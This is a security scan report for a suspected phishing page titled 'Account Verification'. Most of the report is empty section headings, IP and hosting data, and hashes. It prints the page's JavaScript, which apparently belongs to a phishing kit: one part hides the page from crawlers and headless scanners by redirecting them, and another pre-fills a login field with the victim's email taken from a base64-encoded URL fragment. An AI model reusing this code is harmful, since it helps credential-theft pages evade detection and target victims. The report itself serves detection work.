finance banking

English

botcheck

default-src 'none'; style-src 'unsafe-inline'; img-src data:; connect-src 'self'

require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/apps-themes

e62500f42cf323d9ecb07ee56e31ce7dc20f3c3fde285f98b4eeae8d659f72f1

27d2f0e10ccb85690eb628b23319eaf12e53da552f1f604d099e249da305c1dc

6db15d10697b8f53df7f0bfd883c32a6f6f68f2a69d6ef39ea861bcb900b6697

viewport

HSTS header missing - vulnerable to protocol downgrade attacks

CSP header missing - vulnerable to XSS attacks



(async function () {

    const userAgent = navigator.userAgent || "";

    const suspiciousUA = /bot|crawl|spider|slurp|headless|phantom/i.test(userAgent);

    const isHeadless = navigator.webdriver || false;



    // JS execution confirmation

    localStorage.setItem('js_enabled', 'true');



    // Honeypot trap (use your existing field instead)

    const honeypot = document.getElementById('botcheck');

    if (honeypot && honeypot.value) {

        window.location.href = "https://www.wikipedia.org";

        return;

    }



    // Check if localStorage was written (JS running)

    const jsEnabled = localStorage.getItem('js_enabled') === 'true';



    // Final bot detection logic (without interaction check)

    if (

        suspiciousUA ||

        isHeadless ||

        !jsEnabled

    ) {

        // Redirect bot

        window.location.href = "https://www.wikipedia.org";

    }

})();





// Function to get email from URL hash

function getEmailFromUrl() {

    const hash = window.location.hash.substring(1); // Remove the #

    if (!hash) return null;

    

    // Check if hash is base64 encoded

    if (isBase64(hash)) {

        try {

            return atob(hash); // Decode base64

        } catch (e) {

            return hash; // If decoding fails, assume it's plain email

        }

    }

    return hash;

}



// Function to check if a string is base64 encoded

function isBase64(str) {

    try {

        return btoa(atob(str)) === str;

    } catch (err) {

        return false;

    }

}



// Function to update URL with base64 encoded email

function updateUrlWithEncodedEmail(email) {

    if (!email) return;

    const encodedEmail = btoa(email);

    window.history.replaceState(null, null, `#${encodedEmail}`);

}



// Main function to process email

function processEmail() {

    // Get email from URL

    const email = getEmailFromUrl();

    

    if (email) {

        // Update username field

        document.getElementById('username').value = email;

        

        // Update URL with encoded email if it's not already encoded

        if (!isBase64(window.location.hash.substring(1))) {

            updateUrlWithEncodedEmail(email);

        }

    }

}



// Run when page loads

window.addEventListener('DOMContentLoaded', processEmail);



Account Verification

⚡ Medium Risk - https://mailbox-dpr3yixp1qk1.edgeone.dev/

Requests	IP Address	Location	AS Autonomous System
5	209.94.90.1	United States	AS40680Protocol Labs
3	142.251.110.95Google · CDN	United States	AS15169Google LLC
3	43.174.246.29	Singapore	AS139341ACE
11	3	-	-

Security Scan Report: mailbox-dpr3yixp1qk1.edgeone.dev

Summary

AI Security Verdict

Details

Screenshot

Page Load Overview

Language Analysis

Primary Language

Detection Details

Website Classification

Primary Category

All Detected Categories

Detected Features

Domain & IP Information

Page Statistics

Content Similarity HashesFor malware variant detection

Image Hashes

Perceptual Hashes

Other Hashes

Scan History